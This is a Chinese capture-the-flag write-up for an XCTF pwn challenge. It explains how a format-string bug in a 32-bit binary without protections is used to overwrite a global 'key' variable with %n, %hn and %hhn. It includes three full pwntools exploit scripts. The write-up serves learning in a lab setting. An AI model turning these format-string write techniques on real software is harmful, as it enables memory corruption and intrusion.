攻防世界pwn題:實時數據檢測
0x00:查看文件

一個32位的文件,canary、NX、PIE保護機制均關閉。
0x01:用IDA進行靜態分析

程序很簡單,輸入一串字符(個數限制:512),然后再輸出。最后根據key變量進行條件語句執行。
在imagemagic函數中用printf(format)進行輸出,大概率有格式化字符串漏洞。因為key的地址在bss段:0x0804A048,所以試試用格式化字符串漏洞進行覆蓋。
檢測一下是否可以對隨意地址進行覆蓋:

有重復的,位于第12個參數。重復的原因是因為s是定義在了棧上。
payload = p32(key_addr) + b'%035795742d' + b'%12$n'
- 將key的地址寫在第一位,相當于也會寫在第12參數上。
- %12$n : 是指對第12的參數寫入前面成功輸出的字節數。
- %035795742d:前面key_addr已經占了4個字節,還要在輸出35795746 - 4個字節。
0x02:完整EXP
from pwn import * context(os='linux', arch='i386', log_level='debug') io = process("./datajk") #io = remote("111.200.241.244",65079) key_addr = 0x0804A048 payload = p32(key_addr) + b'%35795742d' + b'%12$n' io.sendline(payload) io.interactive()
遠程的話大概要幾分鐘輸出,本地的話快一點。這種方法看著就很粗魯,但很簡單。
0x03:使用標志進行改進
上面因為%n是寫入4字節數據,所以就直接寫整個數,導致要輸出大量數據才可以滿足。但帶格式化字符串中有那么兩個標識:
- h :以雙字節的形式;
- hh:以單字節的形式;
使用h標志進行改進:
要使key=35795746(0x0222 3322),因為程序為小端序,高字節存儲在低地址。所以就是要使key_addr處為0x3322,key_addr+2處為0x0222。
from pwn import * context(os='linux', arch='i386', log_level='debug') #io = process("./datajk") io = gdb.debug("./datajk") key_addr = 0x0804A048 #35795746 == 0x02223322 #num1 = 0x222 0x222 == 546 #num2 = 0x3322 0x3322 == 13090; 12544=13090-546 payload = p32(key_addr) + p32(key_addr + 2) payload += b'%0538d' + b'%13$hn' payload += b'%012544d' + b'%12$hn' io.sendline(payload) io.interactive()
注:用%n寫入數據的順序要從寫入數值小的開始。
前面已經輸出了兩個地址,占了8字節,所以0x222要減去8為538。后面的12544同理,要減去已輸出的量。
使用hh標志進行改進:
將0x02223322拆分成\x02 \x22 \x33 \x22(地址:high -> low),按數值從小到大依次寫入。
這時要靈活的改變‘覆蓋地址’的參數位了,可以先看一下wiki中的這個頁面的‘覆蓋小數字’:
https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-exploit/#_14
exp里面的a主要用于調參數位(按4調整)。由于這里調動比較靈活,同時代碼不唯一,但大概思想不變。所以就不做多解釋了,有問題可以在評論區提出。
from pwn import * context(os='linux', arch='i386', log_level='debug') io = process("./datajk")
key_addr = 0x0804A048 #0x02 22 33 22 (high -> low) #input 0x02 payload = b'aa%15$hhnaaa' + p32(key_addr + 3) #input 0x22(two) payload += p32(key_addr + 2) + p32(key_addr) + b'%017d%16$hhn' + b'%17$hhna' #input 0x33 payload += p32(key_addr + 1) + b'%012d%23$hhn' io.sendline(payload) io.interactive()
0x04:感觸
沒有絕對安全的系統!
tolele
2022-06-16

浙公網安備 33010602011771號